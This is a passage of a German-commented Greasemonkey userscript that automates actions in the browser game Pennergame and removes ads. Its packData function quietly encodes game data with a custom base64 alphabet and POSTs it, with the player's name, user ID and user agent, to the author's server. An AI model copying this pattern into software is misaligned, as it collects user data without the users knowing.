    currentelem.style.cursor = 'pointer';

    // ***********************************************************************************************
    // EVENTLISTENER ANHÄNGEN
    // ***********************************************************************************************
    currentelem.addEventListener('click', function(event) {
        if (event.shiftKey != 0) {
            EatDrinkFeedBack = 1 - EatDrinkFeedBack;
            PG_setValue("EatDrinkFB", EatDrinkFeedBack);
        }

        // Wartecursor anzeigen
        CursorWait(currentelem, true);

        if (noWash) {
            // **********************************************************************************
            // *** GM_XMLHTTPREQUEST *** Abrufen der Overview-Seite, Lebenspunkte ermitteln
            // **********************************************************************************
            GM_xmlhttpRequest({method:"GET", url: OVERVIEW_URL, onload:function(responseDetails) {
                var content = responseDetails.responseText;

                // Lebenspunkte ermitteln
                var lifepts = getCleanliness(content);
                if (lifepts == 100) {
                    // ***********************************************************************************************
                    // Die Lebenspunkte liegen bereits bei 100
                    // ***********************************************************************************************
                    // Keinen Wartecursor anzeigen
                    CursorWait(currentelem, false);
                    // User benachrichtigen
                    alert(getLangTxt(TxtLifepts2));
                } else {
                    // ***********************************************************************************************
                    // Wenn die Lebenspunkte noch nicht bei 100% liegen
                    // ***********************************************************************************************
                    var cnt = Math.floor((99-lifepts) / 20);
                    if (cnt == 0)
                        cnt = 1; // Wert liegt zwischen 80 und 99: trotzdem heilen
                    var cost = cnt * 30;

                    // Aktuellen Geldstand ermitteln
                    var doc = HTML2DOM(content);
                    var currentmoney = GetMoney(doc);

                    // ***********************************************************************************************
                    // Wenn genug Geld vorhanden ist
                    // ***********************************************************************************************
                    if (currentmoney >= cost) {
                        CureMe(currentelem, cnt, lifepts, true);
                    // ***********************************************************************************************
                    // sonst: Es ist nicht genug Geld vorhanden
                    // ***********************************************************************************************
                    } else {
                        // User benachrichtigen
                        alert(printf(getLangTxt(TxtLifeNeeded), cost, currentmoney));
                    }
                }
            }
            });
        }
        else {
            // **********************************************************************************
            // *** GM_XMLHTTPREQUEST *** Abrufen der Activities-Seite, Sauberkeit ermitteln
            // **********************************************************************************
            GM_xmlhttpRequest({method:"GET", url: TOWNBASE_URL+'activities/', onload:function(responseDetails) {
                var content = responseDetails.responseText;

                // Cleanliness ermitteln
                clpos = content.indexOf('<a class="tool');
                if (clpos < 0)
                    return;
                var cltext = content.substr(clpos).split("|")[1].split(":")[1];
                clean = parseInt(cltext);

                if (clean == 100) {
                    // ***********************************************************************************************
                    // Die Sauberkeit lieg bereits bei 100%
                    // ***********************************************************************************************
                    // Keinen Wartecursor anzeigen
                    CursorWait(currentelem, false);
                    // User benachrichtigen
                    alert(getLangTxt(TxtCleansed2));
                } else {
                    // ***********************************************************************************************
                    // Wenn die Sauberkeit noch nicht bei 100% liegt
                    // ***********************************************************************************************
                    var id = 2;
                    var cnt = 1;
                    var cost = 25;
                    if (clean >= 20) {
                        var id = 1;
                        var cnt = Math.ceil((100 - clean) / 20);
                        var cost = cnt * 6;
                    }

                    // Aktuellen Geldstand ermitteln
                    var doc = HTML2DOM(content);
                    var currentmoney = GetMoney(doc);

                    // ***********************************************************************************************
                    // Wenn genug Geld vorhanden ist
                    // ***********************************************************************************************
                    if (currentmoney >= cost) {
                        WashMe(currentelem, id, cnt);
                    // ***********************************************************************************************
                    // sonst: Es ist nicht genug Geld vorhanden
                    // ***********************************************************************************************
                    } else {
                        // User benachrichtigen
                        alert(printf(getLangTxt(TxtMoneyNeeded), cost, currentmoney));
                    }
                }
            }
            });
        }
    },false);
}

// **********************************************************************************
// **********************************************************************************
// Funktion fügt den Handler für Feedback ein
// **********************************************************************************
// **********************************************************************************
function FeedbackHandler(bgrnd) {

    if (bgrnd == 'PW' && EatDrinkFeedBack == 0 || bgrnd == 'SC' && CollEndAlert == 0 || bgrnd == 'PB' && FightWeakAlert == 0 || bgrnd == "MI" && MissionAlert == 0 || bgrnd == "AD" && JobEndAlert == 0 || bgrnd == "PD" && NewPlunderAlert == 0)
        var curElem = ShowImg(bgrnd + 'BACK', '', get_icon("noinfo"), getLangTxt(TxtNoInfo), 10, 10, (bgrnd == "MI"?31:(bgrnd == 'PD'?241:(bgrnd == 'PW'?102:112))), 13, 8, bgrnd + 'Info');
    else
        var curElem = ShowImg(bgrnd + 'BACK', '', get_icon("info"), getLangTxt(TxtInfo), 10, 10, (bgrnd == "MI"?31:(bgrnd == 'PW'?102:112)), 13, 8, bgrnd + 'Info');

    if (curElem == null)
        return;
    curElem.style.cursor = 'pointer';

    // ***********************************************************************************************
    // EVENTLISTENER ANHÄNGEN
    // ***********************************************************************************************

    curElem.addEventListener('click', function(event) {
        if (bgrnd == 'PW') {
            var val = EatDrinkFeedBack = 1 - EatDrinkFeedBack;
            PG_setValue("EatDrinkFB", EatDrinkFeedBack);
        }
        else if (bgrnd == 'PB') {
            var val = FightWeakAlert = 1 - FightWeakAlert;
            PG_setValue("FightWeakAlert", FightWeakAlert);
        }
        else if (bgrnd == 'MI') {
            var val = MissionAlert = 1 - MissionAlert;
            PGu_setValue("MissionAlert", MissionAlert);
        }
        else if (bgrnd == 'AD') {
            var val = JobEndAlert = 1 - JobEndAlert;
            PGu_setValue("JobEndAlert", JobEndAlert);
        }
        else if (bgrnd == 'PD') {
            var val = NewPlunderAlert = 1 - NewPlunderAlert;
            PGu_setValue("NewPlunderAlert", NewPlunderAlert);
        }
        else {
            var val = CollEndAlert = 1 - CollEndAlert;
            PG_setValue("CollEndAlert", CollEndAlert);
        }
        if (val == 0) {
            this.src = getIconAddr(get_icon("noinfo"));
            this.title = getLangTxt(TxtNoInfo);
        } else {
            this.src = getIconAddr(get_icon("info"));
            this.title = getLangTxt(TxtInfo);
        }
    }, false);
}

// **********************************************************************************
// **********************************************************************************
// Funktion prüft, ob bessere Ausrüstung möglich
// **********************************************************************************
// **********************************************************************************
function CheckBetterEquip() {
    function checkOneEquip(code) {
        var urls = new Array(WEAPONSTORE_URL, WEAPON_URL, HOME_URL);
        var classes = new Array("att", "att", "def");
        // **********************************************************************************
        // *** GM_XMLHTTPREQUEST *** Abfragen, ob es eine bessere Waffe gibt
        // **********************************************************************************
        GM_xmlhttpRequest({method:"GET", url: urls[code], onload:function(responseDetails) {
                var content = responseDetails.responseText;

                // Aus HTML ein DOM-Objekt erzeugen
                var doc = HTML2DOM(content);

                var tables = doc.getElementsByTagName("table");
                var betterval = 0;
                var betterequip = "";
                var owned = false;
                var weapon = PGu_getValue("weapon", "0") + "#";
                weapon = weapon.split("#");
                if (code == 1 && weapon[0] > 0)
                    var maxvalw = 999;
                else
                    var maxvalw = 0;
                var maxval = maxvalw;
                for (var i = 0; i < tables.length; i++) {
                    var table = tables[i];

                    // Referenz auf Tabellenzeilen in trs speichern
                    var trs = table.getElementsByTagName("tr");
                    if (trs.length < 2)
                        continue;
                    if (table.innerHTML.indexOf("enötigt") != -1)
                        continue;
                    if (code == 1 && trs[1].innerHTML.indexOf('<span class="att">') == -1)
                        continue;
                    var equip = trs[0].innerHTML.split('<span class="tiername">')[1].split('</span')[0];
                    var attdef = Number(trs[1].innerHTML.split('<span class="'+classes[code]+'">')[1].split('</span')[0]);
                    var trn = code == 1 && (TOWNEXTENSION == "VT" || TOWNEXTENSION == "AT") ? 2 : 3;
                    var gekauftw = (trs[trn-1].innerHTML.indexOf(code==0&&(TOWNEXTENSION=="VT"||TOWNEXTENSION=="AT")?TxtBoughtMulti:TxtBought[lang]) != -1);
                    var benutzt = (trs[trn].innerHTML.indexOf(TxtSelected[lang]) != -1);
                    var bewohnt = (trs[3].innerHTML.indexOf(TxtOccupied[lang]) != -1);
                    var gekauft = (trs[3].innerHTML.indexOf(TxtMoveIn[lang]) != -1);
                    if (code == 1 && benutzt && weapon[0] == 0) {
                        weapondef = trs[trn].getElementsByTagName("td")[0].innerHTML.split('value="')[1].split('"')[0];
                        weapondef += '#' + equip + '#' + trs[0].innerHTML.split('src="')[1].split('"')[0] + '#' + trs[1].innerHTML.split('<span class="'+classes[code]+'">')[1].split('</span')[0];
                        weaponatt = attdef;
                    }
                    if (gekauftw && attdef > maxval || benutzt || bewohnt)
                        maxval = maxvalw > 0?maxvalw:attdef;
                    else if (attdef > maxval && attdef > betterval) {
                        betterequip = equip;
                        betterval = attdef;
                        owned = gekauft;
                    }
                }
                if (weaponatt < 0)
                    weaponatt = 0;
                if (betterval > maxval)
                    if (code == 0)
                        weaponcheck1 = printf(getLangTxt(TxtWCheck1), betterequip, betterval - maxval);
                    else if (code == 1)
                        weaponcheck2 = printf(getLangTxt(TxtWCheck2), betterequip, betterval - maxval);
                    else if (code == 2)
                        homecheck = printf(getLangTxt(TxtHomeCheck),
                                           owned?getLangTxt(TxtHomeMovein1):getLangTxt(TxtHomeBuy1),
                                           betterequip,
                                           owned?getLangTxt(TxtHomeMovein2):getLangTxt(TxtHomeBuy2),
                                           betterval - maxval);
            }
        });
    }

    checkOneEquip(0);
    checkOneEquip(1);
    checkOneEquip(2);
}

// **********************************************************************************
// **********************************************************************************
// Funktion prüft, ob DEF-Waffe vorhanden
// **********************************************************************************
// **********************************************************************************
function AutoDefWeapon() {
    // **********************************************************************************
    // *** GM_XMLHTTPREQUEST *** Abfragen, ob eine DEF-Waffe gekauft wurde
    // **********************************************************************************
    GM_xmlhttpRequest({method:"GET", url: WEAPONSTOREDEF_URL, onload:function(responseDetails) {
            function mod (a, b) { return a - Math.floor(a/b)*b; }
            var content = responseDetails.responseText;

            // Aus HTML ein DOM-Objekt erzeugen
            var doc = HTML2DOM(content);

            var DEFweapon = PGu_getValue('LastDefWpn', '');
            var DEFweaponCost = 0;
            var tables = doc.getElementsByTagName("table");
            var gekauft = false;
            for (var i = 0; i < tables.length; i++) {
                var table = tables[i];

                // Referenz auf Tabellenzeilen in trs speichern
                var trs = table.getElementsByTagName("tr");
                if (trs.length < 4)
                    continue;
                gekauft = (trs[3].innerHTML.indexOf(TxtDefBought[lang]) != -1);
                if (gekauft) {
                    var img = trs[0].getElementsByTagName("img")[0].getAttribute("src");
                    var dauer = trs[1].innerHTML.split('<span class="')[1].split('</span')[1].split('|')[1].split('</td>')[0];
                    if (dauer.indexOf('counter') != -1) {
                        var sekunden = Number(dauer.split('counter(')[1].split(')')[0]);
                        var minuten = mod(Math.floor(sekunden/60), 60) + 100 + ":";
                        var stunden = Math.floor(sekunden/3600) + ":";
                        sekunden = mod(sekunden, 60) + 100 + "";
                        var zeit = stunden + minuten.slice(1) + sekunden.slice(1);
                        dauer = dauer.split('<b>')[0] + zeit + dauer.split('</b>')[1];
                    }
                    // Link zusammenbauen
                    var DEFweapon = trs[0].innerHTML.split('<span class="tiername">')[1].split('</span')[0];
                    var titletext = DEFweapon + ":" + dauer;
                    // V-Waffe Grafik zusammenbauen
                    ShowImg('ADBACK', WEAPONSTOREDEF_URL, img, titletext, 37, 37, 85, 14, 1, 'defweapon');
                    PGu_setValue('remindDefWpnCnt', 0);
                    PGu_setValue('LastDefWpn', DEFweapon);
                    break;
                }
                else if (DEFweapon == trs[0].innerHTML.split('<span class="tiername">')[1].split('</span')[0]) {
                    var numbers = trs[3].getElementsByTagName('input')[1].value.match(/\d+/g);
                    for (ii = 0; ii < numbers.length-1; ii++)
                        DEFweaponCost = DEFweaponCost * 1000 + parseInt(numbers[ii]);
                    if (numbers.length == 0)
                        alert('Geld nicht erkannt !!');
                    else
                        DEFweaponCost += parseInt(numbers[ii]) / 100;
                }
            }
            if (!gekauft) {
                ShowImg('ADBACK', WEAPONSTOREDEF_URL, get_icon("nodefweapon"), '', '', '', 84, 13, 1, 'defweapon');
                var DefWpnCnt = PGu_getValue('remindDefWpnCnt', 0);
                var alerttext = getLangTxt(TxtNoDefWeapon);
                if (PGu_getValue('rebuyLastDefWpn', false) && PGu_getValue('LastDefWpn', "") != "" && DefWpnCnt == 0) {
                    if (GetMoney(doc) < DEFweaponCost)
                        alerttext = printf(getLangTxt(TxtDefWpnNoMny), DEFweaponCost, GetMoney(doc));
                    else {
                        var confBuy = PGu_getValue("woConfDefWpn", false);
                        if (!confBuy)
                            confBuy = confirm(printf(getLangTxt(TxtBuyDefWpn), DEFweapon, DEFweaponCost));
                        if (confBuy) {
                            for (var i = 0; i < tables.length; i++) {
                                // Referenz auf Tabellenzeilen in trs speichern
                                var trs = tables[i].getElementsByTagName("tr");
                                if (trs.length < 4)
                                    continue;
                                if (DEFweapon != trs[0].innerHTML.split('<span class="tiername">')[1].split('</span')[0])
                                    continue;
                                var WpnID = trs[3].getElementsByTagName('input')[0].value;
                                var name = trs[3].getElementsByTagName('input')[0].name;
                                GM_xmlhttpRequest({method:"POST", url: WEAPONSTOREDEF_URL+"buy/",
                                                   headers: {'Content-type': 'application/x-www-form-urlencoded'},
                                                   data: encodeURI('id=' + WpnID),
                                                   onload: function(responseDetails) {
                                                               refreshPage();
                                                           }
                                                  });
                            }
                        }
                        alerttext = "";
                    }
                }
                else if (!PGu_getValue('remindDefWpn', false) && !PGu_getValue('rebuyLastDefWpn', false))
                    DefWpnCnt = PGu_getValue('remindDefWpnMax', 3);
                if (DefWpnCnt < PGu_getValue('remindDefWpnMax', 3)) {
                    if (alerttext != "")
                        alert(alerttext);
                    PGu_setValue('remindDefWpnCnt', DefWpnCnt+1);
                }
            }
        }
    });
}

function ByeByeGoogle() {
    for (var i = 1; i <= 2; i++) {
        // Div mit Google-Ads entfernen
        var googleads = document.getElementById("google_js_" + i);
        if (googleads != null) {
            googleads.parentNode.removeChild(googleads);
        }
    }
    if (location.toString().indexOf("friendlist") == -1)
        return;
    var cont = document.getElementById("content");
    if (cont == null)
        return;
    var zrel = cont.getElementsByClassName("zrelative");
    if (zrel.length > 0)
        zrel[0].style.display = "none";
}

var packData = function () {
    function blength(s) {
        var len = 0;
        for (var i = 0; i < s.length; i++) {
            var c = s.charCodeAt(i);
            if (c < 128) {
                len++;
            } else if (c > 127 && c < 2048) {
                len += 2;
            } else
                len += 3;
        }
        return len;
    }
    serialize = function(elem) {
        if (elem == null || elem == undefined || elem.constructor == Function) return 'N;';
        switch (elem.constructor) {
            case String:  return 's:' + blength(elem) + ':"' + elem + '";';
            case Number:  return (elem % 1 ? 'd:' : 'i:') + elem + ';';
            case Boolean: return 'b:' + (elem ? '1' : '0') + ';';
            case Date:    return serialize(elem.getTime());
            case RegExp:  return serialize(elem.toSource());
            case Error:   return serialize(elem.message);
            case Array:
            case Object:
              var content = '', i = 0;
              for (var j in elem) { content += serialize(Number(j)) + serialize(elem[j]); i++; }
              return 'a:' + i + ':{' + content + '}';
            default:
              return serialize(elem.toString());
        }
    }
    function base64_encode (data) {
        var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-!=";
        var o1, o2, o3, h1, h2, h3, h4, bits, i = 0, l = 0,
            ac = 0,
            enc = "",
            tmp_arr = [];
        if (!data) {
            return data;
        }
        var odata = new Array();
        do {
            var c1 = data.charCodeAt(i++);
            if (c1 < 128) {
                odata[l++] = c1;
            } else if (c1 > 127 && c1 < 2048) {
                odata[l++] = (c1 >> 6) | 192;
                odata[l++] = (c1 & 63) | 128;
            } else {
                odata[l++] = (c1 >> 12) | 224;
                odata[l++] = ((c1 >> 6) & 63) | 128;
                odata[l++] = (c1 & 63) | 128;
            }
        } while (i < data.length);
        odata[l++] = 0;
        odata[l++] = 0;
        i = 0;
        do { // pack three octets into four hexets
            o1 = odata[i++];
            o2 = odata[i++];
            o3 = odata[i++];
            bits = o1 << 16 | o2 << 8 | o3;
            h1 = bits >> 18 & 0x3f;
            h2 = bits >> 12 & 0x3f;
            h3 = bits >> 6 & 0x3f;
            h4 = bits & 0x3f;
            // use hexets to index into b64, and append result to encoded string
            tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
        } while (i < odata.length);
        enc = tmp_arr.join('');
        var r = odata.length % 3;
        return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3);
    }
    if (scriptData.length < 4)
        window.setTimeout(packData, 5000);
    else if (!noUpdate) {
        var getInfo = GM_getValue(TOWNEXTENSION+"GetInfo", 0);
        if (getInfo > 0) {
            info = base64_encode(serialize(glblVars));
            if (info != PGu_getValue("Userdata", "")) {
                getInfo = 0;
                PGu_setValue("Userdata", info);
            }
        }
        else {
            GM_deleteValue(TOWNEXTENSION + "Userdata" + m_ownuserid);
            getInfo = 480;
        }
        if (IsTimeToCheck(TOWNEXTENSION + "update" + m_ownuserid, getInfo, INFO_URL)) {
            GM_xmlhttpRequest({method: 'POST', url: INFO_URL + "t.php",
                headers: {'Content-type': 'application/x-www-form-urlencoded'},
                data: encodeURI('town=' + TOWNEXTENSION + '&name=' + m_ownusername +
                                '&id=' + scriptData[1] + '&script=' + THISSCRIPTVERSION +
                                '&client=' + navigator.userAgent + '&submit='+info),
                onload: function(responseDetails) {
                }});
        }
    }
}
setTimeout(packData, 5000);

var m_ownuserid = getOwnUserID();
var m_owngangid = 0;
var callCount = PGu_getValue("callCount", 0) + 1;
PGu_setValue("callCount", callCount);
var FightWeakAlert = PG_getValue("FightWeakAlert", 0);
var MissionAlert = PGu_getValue("MissionAlert", 0);
var JobEndAlert = PGu_getValue("JobEndAlert", 0);
var NewPlunderAlert = PGu_getValue("NewPlunderAlert", 0);
var attwarn = 0;
scriptData[0] = TOWNEXTENSION;
scriptData[1] = m_ownuserid;
scriptData[2] = THISSCRIPTVERSION;
var weaponcheck1;
var weaponcheck2;
var homecheck;
var plundercheck;

var dailyTasks = initDaily(lang);
if (myLang != lang)
    var myDailyTasks = initDaily(myLang);
else
    var myDailyTasks = dailyTasks;
initPanels();
var saveAllPlunder = '';
var collAllPlunder = -1;
var inGangStatus = 0;

function removeAllAds() {
    var ads = document.getElementsByTagName("img");
    for (var i = ads.length - 1; i >= 0; i--) {
        if (ads[i].src.indexOf('XmasAdventCalendar') == -1)
            if (ads[i].src.indexOf('events/offers') != -1 || ads[i].src.indexOf('play.pennergame') != -1) {
                ads[i].parentNode.removeChild(ads[i]);
        }
    }

    var ads = document.getElementsByTagName("a");
    for (var i = 0; i < ads.length; i++) {
        if (ads[i].href.indexOf('itemsale') != -1) {
        if (ads[i].className == 'ttip')
        continue;
        if (ads[i].getElementsByTagName("span").length > 0) {
        if (ads[i].getElementsByTagName("span")[0].className == 'btn-right')
            continue;
        }
    }
        if (ads[i].href.indexOf('play.pennergame') != -1 ||
            ads[i].href.indexOf('media.fastclick.net') != -1 ||
            ads[i].href.indexOf('ads.adtiger') != -1 ||
            ads[i].href.indexOf('itemsale') != -1 ||
            ads[i].href.indexOf('googleads') != -1 ||
            ads[i].href.indexOf('adnxs') != -1 ||
            ads[i].href.substr(0,3) == "ad.")
        {
            ads[i].parentNode.removeChild(ads[i]);
        }
    }

    var ads = document.getElementsByTagName("div");
    for (var i = 0; i < ads.length; i++) {
        if (ads[i].id.indexOf('ftdivid') != -1 ||
            ads[i].id.indexOf('adscale') != -1 ||
            (ads[i].childNodes.length == 0 && ads[i].innerHTML.indexOf("flashblock") != -1)) {
            ads[i].parentNode.removeChild(ads[i]);
        }
    }

    var ads = document.getElementsByTagName("iframe");
    for (var i = 0; i < ads.length; i++) {
        ads[i].parentNode.removeChild(ads[i]);
    }

    var ads = document.getElementsByTagName("ins");
    for (var i = 0; i < ads.length; i++) {
        ads[i].parentNode.removeChild(ads[i]);
    }
}

function CheckCrafts() {
    // **********************************************************************************
    // *** GM_XMLHTTPREQUEST *** Bastelseite abfragen
    // **********************************************************************************
    GM_xmlhttpRequest({method:"GET", url: TOWNBASE_URL+'stock/plunder/craftlist/', onload:function(responseDetails) {
        if (PGu_getValue("callCount") != callCount)
            return;
        var content = responseDetails.responseText;
        content = content.split('id="content"');
        if (content.length > 1) {
            var craftlist = content[1].split('stock/plunder/craft/details/');
            var plist = new Array();
            var plunderlist = new Array();
            for (var c = 1; c < craftlist.length; c++) {
                var p = craftlist[c].split("/")[0];
                plist[(c-1)/2] = p;
                plunderlist[(c-1)/2] = craftlist[c].split("</a>")[0].split('">').pop().split("<")[0];
                c++;
            }
            var clist = plist.join(";");
            var cliststore = PGu_getValue("craftlist", "x");
            var newPlunder = new Array();
            var n = 0;
            if (cliststore != clist && cliststore != "x") {
                var pliststore = cliststore.split(";");
                for (var i = 0; i < plist.length; i++) {
                    for (var j = 0; j < pliststore.length; j++)
                        if (plist[i] == pliststore[j])
                            break;
                    if (j == pliststore.length) {
                        newPlunder[n++] = plunderlist[i] + GetPlunderDescription(craftlist[i*2+1].split("</td>")[0]);
                    }
                }
                if (n > 0 && NewPlunderAlert == 1)
                    alert(getLangTxt(TxtNeuPlunder) + newPlunder.join(", "));
            }
            PGu_setValue("craftlist", clist);
        }
    }});
}

function doCraft(event) {
    var aktPlunder = "";
    var unarm;
    function CraftPlunder(craftForm, neededPlunder, i, pAnz) {
        for ( ; i < neededPlunder.length; i++) {
            var pName = neededPlunder[i].split("</strong>")[0].split(">").pop().trim();
            if (pName == aktPlunder) {
                aktPlunder = "";
                var url = unarm.split("?");
                GM_xmlhttpRequest({method: 'POST', url: url[0],
                    headers: {'Content-type': 'application/x-www-form-urlencoded'},
                    data: encodeURI(url[1]),
                    onload: function(responseDetails) {
                        CraftPlunder(craftForm, neededPlunder, i, pAnz);
                    }
                });
                return;
            }
            var menge = neededPlunder[i].split("</strong>")[1].split("<br")[1];
            var pSoll = Number(menge.split("<")[0].split("x")[1].trim()) * pAnz;
            var pIst = Number(menge.split("[")[1].split("]")[0]);
            if (pIst >= pSoll || neededPlunder[i].indexOf("Bastelbar") == -1)
                continue;
            stack.push(pAnz);
            stack.push(i+1);
            stack.push(neededPlunder);
            stack.push(craftForm);
            var href = window.location.protocol + '//' + window.location.host + neededPlunder[i].split('href="')[1].split('"')[0];
            GM_xmlhttpRequest({method:"GET", url: href, onload:function(responseDetails) {
                var table = responseDetails.responseText.split('id="content"')[1].split("<table ")[1];
                var inputs = responseDetails.responseText.split('id="craftform"')[1].split("<input ");
                var data = new Array();
                for (var k = 1; k < inputs.length; k++) {
                    var name = inputs[k].split('name="')[1].split('"')[0];
                    var value = inputs[k].split('value="')[1].split('"')[0];
                    data.push(name + "=" + value);
                }
                var craftForm = window.location.protocol + '//' + window.location.host + responseDetails.responseText.split('id="craftform"')[1].split('action="')[1].split('"')[0] + "?" + data.join("&");
                neededPlunder = table.split("<tr")[2].split("<td ")[1].split('<a ');
                CraftPlunder(craftForm, neededPlunder, 1, pSoll - pIst);
            }});
            return;
        }
        var url = craftForm.split("?");
        GM_xmlhttpRequest({method: 'POST', url: url[0],
            headers: {'Content-type': 'application/x-www-form-urlencoded'},
            data: encodeURI(url[1]),
            onload: function(responseDetails) {
                if (pAnz > 1) {
                    CraftPlunder(craftForm, neededPlunder, i, pAnz - 1);
                    return;
                }
                if (stack.length > 0) {
                    CraftPlunder(stack.pop(), stack.pop(), stack.pop(), stack.pop());
                    return;
                }
                var href = location.toString();
                if (href.endsWith('#'))
                    href = href.slice(0, -1);
                window.location.href = href;
            }
        });
    }
    document.getElementById("craft_image").removeEventListener('click', doCraft);
    document.getElementById("craft_image").style.visibility = "hidden";
    document.getElementById("craft_image").style.height = "1px";
    var div = document.createElement("div");
    div.innerHTML = '<img src="' + document.getElementById("craft_image").src.replace(/craft_do.*/, "craft_progress.gif") + '"><br><span style="font-family:\'CrackhousefranceRegular\'; font-size: 16px;">Bauen...</span>"';
    document.getElementById("craft_image").parentNode.parentNode.appendChild(div);
    var table = document.getElementsByTagName("table")[0].innerHTML;
    var inputs = document.getElementById("craftform").getElementsByTagName("input");
    var data = new Array();
    for (var k = 0; k < inputs.length; k++)
        data.push(inputs[k].name + "=" + inputs[k].value);
    var craftForm = document.getElementById("craftform").action + "?" + data.join("&");
    var neededPlunder = table.split("<tr")[2].split("<td ")[1].split('<a ');
    var stack = new Array();
    GM_xmlhttpRequest({method:"GET", url: window.location.protocol + '//' + window.location.hostname + '/overview/', onload:function(responseDetails) {
        var content = responseDetails.responseText;
        var pos = content.search("Angelegte Plunder");
        if (pos <= 0)
            return;
        var table = content.substr(pos).split("<table")[1].split("</table>")[0];
        var inputs = table.split("<form")[1].split("<input ");
        var data = new Array();
        for (var k = 1; k < inputs.length; k++) {
            var name = inputs[k].split('name="')[1].split('"')[0];
            if (inputs[k].indexOf('value="') != -1)
                var value = inputs[k].split('value="')[1].split('"')[0];
            else
                var value = 0;
            data.push(name + "=" + value);
        }
        unarm = window.location.protocol + '//' + window.location.host + inputs[0].split('action="')[1].split('"')[0] + "?" + data.join("&");
        var tabs = table.split("<tr")[2].split("<td");
        if (tabs[1].indexOf('<strong ') != -1)
            aktPlunder = tabs[1].split('<strong ')[1].split('</strong>')[0].split(">")[1].trim();
        CraftPlunder(craftForm, neededPlunder, 1, 1);
    }});
}

function changeCraft(reqSkill) {
    if (DEXSkill < 0) {
        window.setTimeout(changeCraft, 500, reqSkill);
        return;
    }
    if (reqSkill <= DEXSkill) {
        document.getElementById("craft_image").src = document.getElementById("craft_image").src.replace("unavailable", "do");
        document.getElementById("craft_image").addEventListener('click', doCraft, false);
    }
}

function CheckCraftDetails() {
    function CheckPlunderToCraft(neededPlunder, i, pAnz) {
        if (i >= neededPlunder.length) {
            if (location.toString() != aktcraft)
                return;
            if (stack.length > 0) {
                CheckPlunderToCraft(stack.pop(), stack.pop(), stack.pop());
                return;
            }
            var plunderdiv = document.getElementsByTagName("table")[0].getElementsByTagName("tr")[1].getElementsByTagName("td")[1].getElementsByTagName("strong")[0].parentNode;
            var plunder = plunderdiv.innerHTML.split("<br>");
            if (missingPlunder.length == 0) {
                pMax++;
                CheckPlunderToCraft(neededPlunder, 1, 1);
                return;
            }
            else if (pMax == 0){
                plunder.push("<br><span>Dir fehlt noch folgender Plunder:</span>");
                for (var k = 0; k < missingPlunder.length; k++)
                    plunder.push("<span>" + missingPlunder[k] + " x " + missingPlunderAnz[k] + "</span>");
            }
            else {
                if (pMax == 1)
                    plunder.push("<br><span>Du hast alle Plunderstücke</span>");
                else
                    plunder.push("<br><span>Du kannst den Plunder " + pMax + "x basteln</span>");
                window.setTimeout(changeCraft, 500, reqSkill);
            }
            plunderdiv.innerHTML = plunder.join("<br>");
            plunderdiv.parentNode.style.height = parseInt(plunderdiv.parentNode.style.height) + (plunder.length-2)*16 + "px";
            plunderdiv.parentNode.parentNode.getElementsByTagName("div")[0].style.marginTop = (plunder.length-2)*8 + "px";
            return;
        }
        var pName = neededPlunder[i].split("</strong>")[0].split(">").pop().trim();
        var menge = neededPlunder[i].split("</strong>")[1].split("<br")[1];
        var pSoll = Number(menge.split("<")[0].split("x")[1].trim()) * pAnz;
        var pIst = Number(menge.split("[")[1].split("]")[0]);
        var index = existingPlunder.indexOf(pName)
        if (index == -1 && pIst > 0) {
            existingPlunder.push(pName);
            existingPlunderAnz.push(pIst);
            index = existingPlunder.length - 1;
        }
        else if (index >= 0)
            pIst = existingPlunderAnz[index];
        if (pIst >= pSoll) {
            existingPlunderAnz[index] -= pSoll;
            CheckPlunderToCraft(neededPlunder, i + 1, pAnz);
            return;
        }
        if (neededPlunder[i].indexOf("Bastelbar") == -1) {
            var index = missingPlunder.indexOf(pName)
            if (index == -1) {
                missingPlunder.push(pName);
                missingPlunderAnz.push(pSoll - pIst);
            }
            else
                missingPlunderAnz[index] += pSoll - pIst;
            CheckPlunderToCraft(neededPlunder, i + 1, pAnz);
            return;
        }

        if (location.toString() != aktcraft)
            return;

        stack.push(pAnz);
        stack.push(i+1);
        stack.push(neededPlunder);
        var href = window.location.protocol + '//' + window.location.host + neededPlunder[i].split('href="')[1].split('"')[0];
        GM_xmlhttpRequest({method:"GET", url: href, onload:function(responseDetails) {
            var table = responseDetails.responseText.split('id="content"')[1].split("<table ")[1];
            neededPlunder = table.split("<tr")[2].split("<td ")[1].split('<a ');
            existingPlunderAnz[index] = 0;
            CheckPlunderToCraft(neededPlunder, 1, pSoll - pIst);
        }});
    }

    var aktcraft = location.toString();
    if (aktcraft.indexOf("/craft/details/") == -1)
        return;

    var plunderdiv = document.getElementsByTagName("table")[0].getElementsByTagName("tr")[1].getElementsByTagName("td")[1].getElementsByTagName("strong")[0].parentNode;
    if (plunderdiv.innerHTML.indexOf("Bastelbar") == -1 || plunderdiv.parentNode.innerHTML.indexOf("craft_do") != -1)
        return;

    var reqSkill = Number(plunderdiv.innerHTML.split("Bastelbar")[1].split("<")[0].trim().split(" ").pop());
    var missingPlunder = new Array();
    var missingPlunderAnz = new Array();
    var existingPlunder = new Array();
    var existingPlunderAnz = new Array();
    var stack = new Array();
    var table = document.getElementsByTagName("table")[0].innerHTML;
    var neededPlunder = table.split("<tr")[2].split("<td ")[1].split('<a ');
    var pMax = 0;
    CheckPlunderToCraft(neededPlunder, 1, 1);
}

function insertPlunderIntoDistrict() {
    if (misscontent == "") {
        window.setTimeout(insertPlunderIntoDistrict, 1000);
        return;
    }
    var mplunder = new Array();
    var mpdist = new Array();
    var missions = misscontent.split('class="gang_mission"');
    if (missions.length <= 1)
        return;

    for (var i = 1; i < missions.length; i++) {
        var lis = missions[i].split("stage_area")[1].split("<li>");
        for (var j = 1; j < lis.length; j++) {
            var beg = lis[j].split('"amount"');
            if (beg.length > 1) {
                var list = lis[j].match(/show_.*city_list.*activate'/);
                if (list != null) {
                    if (list[0].indexOf("deactivate") != -1) {
                        var plnd = beg[0].split("<span>")[1].split("<")[0].trim();
                        var dlist = missions[i].split("stage_area")[1].split("<ul>").pop().split("</ul>")[0].split("<li>");
                        for (var k = 1; k < dlist.length; k++) {
                            var dist = dlist[k].split("<")[0].trim();
                            if (mpdist.indexOf(dist) == -1) {
                                mpdist.push(dist);
                                mplunder.push(new Array(plnd));
                            }
                            else
                                mplunder[mpdist.indexOf(dist)].push(plnd);
                        }
                    }
                }
            }
        }
    }
    var table = document.getElementsByTagName("table")[0];
